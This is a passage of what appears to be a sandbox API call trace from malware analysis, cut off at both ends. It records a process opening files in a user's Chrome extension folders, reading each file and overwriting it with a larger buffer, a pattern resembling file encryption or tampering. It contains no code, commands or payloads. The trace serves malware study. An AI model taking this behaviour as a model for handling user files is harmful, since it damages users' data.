lpNumberOfBytesWritten=0x2f4f2d0*=0x62f, lpOverlapped=0x0) returned 1 [0047.530] CloseHandle (hObject=0x170) returned 1 [0047.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.531] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.531] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x5c [0047.531] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.531] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.531] ReleaseMutex (hMutex=0x128) returned 1 [0047.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.html", lpUsedDefaultChar=0x0) returned 9 [0047.531] ReadFile (in: hFile=0x170, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x2f4f2bc*=0x5c, lpOverlapped=0x0) returned 1 [0047.532] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.532] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e4, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5e4, lpOverlapped=0x0) returned 1 [0047.532] CloseHandle (hObject=0x170) returned 1 [0047.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.585] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.585] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xd6 [0047.585] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.585] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.585] ReleaseMutex (hMutex=0x128) returned 1 [0047.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.585] ReadFile (in: hFile=0x170, lpBuffer=0x2591088, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2591088*, lpNumberOfBytesRead=0x2f4f2bc*=0xd6, lpOverlapped=0x0) returned 1 [0047.586] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.586] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65e, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x65e, lpOverlapped=0x0) returned 1 [0047.586] CloseHandle (hObject=0x170) returned 1 [0047.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.587] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.587] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xe6 [0047.587] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.587] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.587] ReleaseMutex (hMutex=0x128) returned 1 [0047.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.587] ReadFile (in: hFile=0x170, lpBuffer=0x2737158, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737158*, lpNumberOfBytesRead=0x2f4f2bc*=0xe6, lpOverlapped=0x0) returned 1 [0047.588] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.588] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66e, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x66e, lpOverlapped=0x0) returned 1 [0047.588] CloseHandle (hObject=0x170) returned 1 [0047.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.589] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.589] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xd9 [0047.589] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.589] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.589] ReleaseMutex (hMutex=0x128) returned 1 [0047.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.589] ReadFile (in: hFile=0x170, lpBuffer=0x2591088, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2591088*, lpNumberOfBytesRead=0x2f4f2bc*=0xd9, lpOverlapped=0x0) returned 1 [0047.590] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.590] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x661, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x661, lpOverlapped=0x0) returned 1 [0047.590] CloseHandle (hObject=0x170) returned 1 [0047.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.591] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.591] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xdd [0047.591] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.591] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.591] ReleaseMutex (hMutex=0x128) returned 1 [0047.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.591] ReadFile (in: hFile=0x170, lpBuffer=0x2591088, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2591088*, lpNumberOfBytesRead=0x2f4f2bc*=0xdd, lpOverlapped=0x0) returned 1 [0047.592] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.592] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x665, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x665, lpOverlapped=0x0) returned 1 [0047.592] CloseHandle (hObject=0x170) returned 1 [0047.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.592] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.592] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x5b [0047.592] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.593] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.593] ReleaseMutex (hMutex=0x128) returned 1 [0047.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.js", lpUsedDefaultChar=0x0) returned 7 [0047.593] ReadFile (in: hFile=0x170, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x5b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x2f4f2bc*=0x5b, lpOverlapped=0x0) returned 1 [0047.594] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.594] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e3, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5e3, lpOverlapped=0x0) returned 1 [0047.594] CloseHandle (hObject=0x170) returned 1 [0047.594] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.606] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.606] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xd1 [0047.606] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.606] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.606] ReleaseMutex (hMutex=0x128) returned 1 [0047.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.606] ReadFile (in: hFile=0x170, lpBuffer=0x1daeb28, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daeb28*, lpNumberOfBytesRead=0x2f4f2bc*=0xd1, lpOverlapped=0x0) returned 1 [0047.607] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.607] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x659, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x659, lpOverlapped=0x0) returned 1 [0047.607] CloseHandle (hObject=0x170) returned 1 [0047.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.608] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.608] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xd1 [0047.608] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.608] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.608] ReleaseMutex (hMutex=0x128) returned 1 [0047.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.608] ReadFile (in: hFile=0x170, lpBuffer=0x1daeb28, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daeb28*, lpNumberOfBytesRead=0x2f4f2bc*=0xd1, lpOverlapped=0x0) returned 1 [0047.609] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.609] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x659, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x659, lpOverlapped=0x0) returned 1 [0047.609] CloseHandle (hObject=0x170) returned 1 [0047.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.610] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.610] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xce [0047.610] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.610] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.610] ReleaseMutex (hMutex=0x128) returned 1 [0047.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.610] ReadFile (in: hFile=0x170, lpBuffer=0x1daeb28, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daeb28*, lpNumberOfBytesRead=0x2f4f2bc*=0xce, lpOverlapped=0x0) returned 1 [0047.611] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.611] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x656, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x656, lpOverlapped=0x0) returned 1 [0047.611] CloseHandle (hObject=0x170) returned 1 [0047.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.612] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.612] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x108 [0047.612] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.612] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.612] ReleaseMutex (hMutex=0x128) returned 1 [0047.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.612] ReadFile (in: hFile=0x170, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2f4f2bc*=0x108, lpOverlapped=0x0) returned 1 [0047.613] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.613] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x690, lpOverlapped=0x0) returned 1 [0047.613] CloseHandle (hObject=0x170) returned 1 [0047.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 